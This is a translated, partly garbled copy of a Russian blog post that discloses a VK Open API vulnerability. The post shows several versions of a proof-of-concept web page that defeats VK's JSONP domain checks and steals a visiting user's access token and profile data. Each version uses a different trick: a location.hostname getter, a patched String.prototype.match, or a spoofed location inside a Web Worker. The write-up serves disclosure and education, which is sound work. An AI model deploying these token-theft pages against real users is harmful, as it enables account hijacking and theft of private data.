Open API is a system for developers of third-party sites, which provides the ability to easily authorize VK users on your site. In addition, with the consent of users, you can get access to information about their friends, photos, audio recordings, videos and other VKontakte data for deeper integration with your project.
<script src="//vk.com/js/api/openapi.js" type="text/javascript"></script> <script type="text/javascript"> VK.init({ apiId: _APP_ID }); </script>
appId
parameter, appId
can only specify the VK-application ID, in the settings of which the “Base domain” matches the domain of the page on which we connect the library.VK.Auth.login()
method. And after permission is obtained, you can access the VK API. Important note: if a user once gave an application access to his profile, then even after reloading the page, his permission remains in effect: you do not need to call VK.Auth.login()
every time. In order to determine whether the user should be asked to provide the site (more precisely, the VK-application of the site) access to his profile, you can use the following code: VK.Auth.getLoginStatus(function(resp) { if (resp.session) { // . // VK API. } else { // , // VK API. VK.Auth.login(...); } });
VK.init()
specify the ID of another application, the domain of which does not match the domain of the page on which the library is launched, nothing should work (even the callback function passed to getLoginStatus()
will not be called).VK.Api.call()
method is used, for example: // VK.Api.call('users.get', {}, function(result) { var user; if (result.response) { user = result.response[0]; alert(', ' + user.first_name + ' ' + user.last_name + '!'); } });
VK.Api.call()
method, the library calls on the VK backend for Access Token. For this, the VK.Api.call()
method is called VK.Auth.getLoginStatus()
, through which the library gets this token (of course, if only the user has previously granted the site access to his profile). After the token has been received, it requests the API and receives a response from the server. The vulnerability lies in the way of getting and the way of processing the server response in the method VK.Auth.getLoginStatus()
. All because of JSONP, or rather, its incorrect use.VK.Auth.getLoginStatus()
method. In order to get Access Token, a JSONP request is made to the following URL:https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456
aid
- application IDlocation
- the domain from which the request is madernd
- ID callback function (this is JSONP) /* <html><script>window.location='http://vk.com';</script></html> */ if (location.hostname != 'www.example.com') { window.location.href = 'http://vk.com/oauth'; for (;;); } else { VK.Auth.lsCb[456]({ "auth": true, "access_token": "5ea11111d799a53236f5d3eff5d34bcd2dda0f9e6a7aaf743f7d26d3487456f6ce8d5e1ff82eaa6f7b04a", "expire": 1436755095, "time": 7200, "sig": "12d254526496a6db2af6bed2eb1dd3e7", "secret": "oauth", "user": { "id": "%ID_%", "domain": "%_%", "href": "https:\/\/vk.com\/%__id_%", "first_name": "%%", "last_name": "%%", "nickname": "" } }); }
location.hostname
) is equal to the domain specified in the application settings, call the VK.Auth.lsCb[%__rnd%]()
function VK.Auth.lsCb[%__rnd%]()
, and as the first argument, we pass an object with Access Token, otherwise we redirect the user to http://vk.com/oauth
. What for? This is such a defense. Since if the domain specified in the settings of the VK application was not verified with location.hostname
, then anyone could place the following code on their website: <script> var VK = { Auth: { lsCb: { 456: function (data) { // data Access Token (data.access_token) // (data.user) } } } } </script> <script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456">
location.hostname
with the domain of the VK application restricts access to Tokens by strangers, but ... JavaScript has getters / setters, and browsers have their own peculiarities / oddities for implementing the standard JS (BOM) environment.location.hostname
, which will always return the string "www.example.com"
? Quickly checking your guess in the console, and making sure that this hack worked at that time: // Chrome- 42- , , : // Yandex.Browser, Opera (WebKit), Android Chrome, etc… // , ~41 . // , hostname location configurable-. location.__defineGetter__('hostname', function () { return '- '; }); console.log(location.hostname); // '- '
<script> var VK = { Auth: { lsCb: { // JSONP- VK 456: function (data) { alert(data.access_token); } } } }; location.__defineGetter__('hostname', function () {return 'www.example.com'}); </script> <script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456">
https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456
HTTP Refferer pages will also be transmitted, and if the domain of this page does not match the domain specified in settings VK-applications, we get a redirect to https://vk.com/js/api/openapi_error.js
, in which the following code: try{console.log('open api access error');}catch(e){}
location.hostname
.VK.Auth.lsCb[456]()
). <script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456">
which, in fact, loads the response from the server with a call to the JSONP function VK.Auth.lsCb[456]()
.aid
parameter) and the site domain to which the application is attached ( location
parameter). <!doctype html> <html> <head> <title> VK JS Api</title> <meta charset="utf-8"> <style> body,html { margin:0; padding:0; width:100%; height:100%; } </style> </head> <body> <iframe src="data:text/html;charset=utf-8,%__%" style="width:100%;height:100%;border:0" /> </body> </html>
%__%
in the iframe looked like %__%
: <!doctype html> <html> <body> <script> // , location.hostname window.location.__defineGetter__('hostname', function () {return 'www.example.com'}); var VK = { Auth: { lsCb:{ 456: function (data) { // access_token, if (data.access_token) { // , , ID Access Token'a // . } else { // www.example.com, // . } } } } }; </script> <!-- aid ID VK- "-", - VK, , , Access Token VK API. --> <script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456"></script> </body> </html>
hostname
field (which is configurable), but href
, which is NOT configurable, and accordingly, for which you cannot specify a getter that returns the desired value. /* <html><script>window.location='http://vk.com';</script></html> */ if (!location.href.match(/https?:\/\/www\.mysite\.com\//)) { window.location.href = 'http://vk.com/oauth'; for (;;); } else { VK.Auth.lsCb[456]({ "auth": true, "access_token": "5ea11111d799a53236f5d3eff5d34bcd2dda0f9e6a7aaf743f7d26d3487456f6ce8d5e1ff82eaa6f7b04a", "expire": 1436755095, "time": 7200, "sig": "12d254526496a6db2af6bed2eb1dd3e7", "secret": "oauth", "user": { "id": "%ID_%", "domain": "%_%", "href": "https:\/\/vk.com\/%__id_%", "first_name": "%%", "last_name": "%%", "nickname": "" } }); }
"^"
added to the regular schedule. But after all, the substitution of the JS browser environment is more interesting!match()
method from the prototype String
. It must be replaced so that it returns true
if the first argument is equal to the regular expression "/https?:\/\/www\.mysite\.com\//"
, and it doesn’t matter what is in the destination line of the match()
method call match()
Having finished the demo, I sent an updated version of the demonstration of the vulnerability in VK. <!doctype html> <html> <body> <script> var VK = { Auth: { lsCb:{ 456: function (data) { if (data.access_token) { App.ready = true; App.access_token = data.access_token; App.first_name = data.user.first_name; App.last_name = data.user.last_name; App.user_id = data.user.id; } App.init(); } } } }, App = { _original_match_method: String.prototype.match, _restoreOriginalMatch: function () { String.prototype.match = this._original_match_method; }, init: function () { // String.prototype.match() this._restoreOriginalMatch(); if (this.ready) { // , , ID Access Token'a // . } else { // www.example.com, // VK . } } }; // : // 'any string'.match(/https?:\/\/www\.mysite\.com\//) // true // 'any string'.match(/.*/) // ['any string'] (function () { var original_match = String.prototype.match; String.prototype.match = function () { // , -, - . return arguments[0] == '/https?:\\/\\/www\\.mysite\\.com\\//' ? true : original_match.apply(this, arguments); } })(); </script> <script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456"></script> </body> </html>
/* <html><script>window.location='http://vk.com';</script></html> */ if ( location.href !== (location.protocol == 'https:' ? 'https' : 'http') + '://www.example.com' + (location.port ? ':' + location.port : '') + '/' + location.pathname.slice(1) + location.search + location.hash ) { window.location.href = 'http://vk.com/oauth'; for (;;); } else { VK.Auth.lsCb[456]({ "auth": true, "access_token": "512aae7f9e9070f3bbb1600b934238546e4567892q2fj29739242e2b66521da110fdf5nmj9fee6ce8", "expire": 1438739486, "time": 7200, "sig": "53aa7a11c2431d96v8765e1b3c7q2c22", "secret": "oauth", "user": { "id": "%ID_%", "domain": "%_%", "href": "https:\/\/vk.com\/%__id_%", "first_name": "%%", "last_name": "%%", "nickname": "" } }); }
location.href
(i.e. getter / setter cannot be hung on it). How many do not try, it seems, in the environment of the browser's UI-stream (where the global object is a window
) location
cannot be changed ... But we still have the WebWorker environment! After checking your guess, it became clear that in the Worker's environment ( DedicatedWorkerGlobalScope
) the location
field of the self
object can simply be covered with an object with the fields href
, hostname
, etc. Why? It's simple: the location
object is not in the self
object itself, but in its prototype, so the var location = {};
instruction var location = {};
performed in Worker's global scope, or Object.defineProperty(self, 'location', {value: ... })
simply overlap the location
from the prototype of the self
object (that is, adds to the self
object its own location
field ). Thus, the code that will be loaded via self.importScripts()
when accessing the location
will receive our object, not the original one. By the way, in the browser's UI environment such a trick will not work: there the location
object is implemented as its own field of the window
object, which you can’t block by anything. <!doctype html> <html> <head> <title>Workers</title> <meta charset="utf-8" /> </head> <body> <script> (function () { var worker, // , Worker'. // , , // . worker_code = (function () { // location var location = { // URL , href: 'http://www.example.com/', search: '', hash: '', pathname: '' }, VK = { Auth: { lsCb: { // - access_token' 456: function (data) { // UI- self.postMessage(data); } } } }; // Access Token' ( ). // , - 42- Chrome, importScripts() // Refferer, Worker' ObjectURL, // . referrer , // VK. importScripts('https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456'); }).toString(); // "function () {" , "}" worker_code = worker_code.substring(worker_code.indexOf('{') + 1, worker_code.length - 1); worker = new Worker( // ObjectURL, Worker'a URL.createObjectURL( new Blob([worker_code], {type: 'application/javascript'}) ) ); worker.addEventListener('message', function (e) { if (e.data.auth) { alert(e.data.access_token); } else { alert(' VK www.example.com '); } }, false); }()); </script> </body> </html>
<!doctype html> <html> <head> <!-- VK Open Api --> <script src="http://vk.com/js/api/openapi.js"></script> <!-- , openapi.js VK API , . .. , . . --> <script src="vk_opanapi_insecure_patch.js"></script> </head> <body> <script> VK.init({ // - ID VK apiId: 1234567, // vk_opanapi_insecure_patch.js, openapi.js , // JSONP- Access Token' Worker'a, // UI- . appDomain: 'www.example.com' }); // "appDomain", // API ID "1234567" , // "www.example.com". VK.Api.call('users.get', {}, function(r) { if(r.response) { alert(' : ' + r.response[0].first_name + ' ' + r.response[0].last_name); } }); </script> </body> </html>
Source: https://habr.com/ru/post/271031/
All Articles